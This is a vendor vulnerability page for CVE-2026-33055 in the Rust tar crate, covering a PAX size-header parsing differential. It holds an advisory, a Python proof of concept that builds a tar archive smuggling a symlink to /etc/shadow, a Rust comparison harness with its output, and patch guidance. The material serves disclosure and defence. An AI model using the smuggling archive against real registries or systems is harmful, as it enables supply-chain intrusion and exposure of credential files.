Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀 crates.io
Not in CISA KEV

CVE-2026-33055 — tar

Fix: alexcrichton/tar-rs@de1a587

CVE-2026-33055 is a CWE-843 vulnerability in tar. A fix is available for tar — see the affected versions and patch details below.

tar-rs incorrectly ignores PAX size headers if header size is nonzero

Also known asGHSA-gchp-q4r4-x4ffRUSTSEC-2026-0068
Published
Mar 20, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33055.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🦀tar

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.

Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

PoC

(originally posted by https://github.com/xokdvium)

I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

#!/usr/bin/env python3
B = 512


def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d


def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)


INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))

tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).

use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}
tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular

Impact

This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iotarall versions0.4.45cargo update -p tar --precise 0.4.45

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tar, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update tar to 0.4.45 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33055 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33055 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-33055. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary As part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. However, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue. The problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear different
O3 Security · Impact-Aware SCA

Is CVE-2026-33055 in your dependencies?

O3 Security finds CVE-2026-33055 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-33055: tar | O3 Security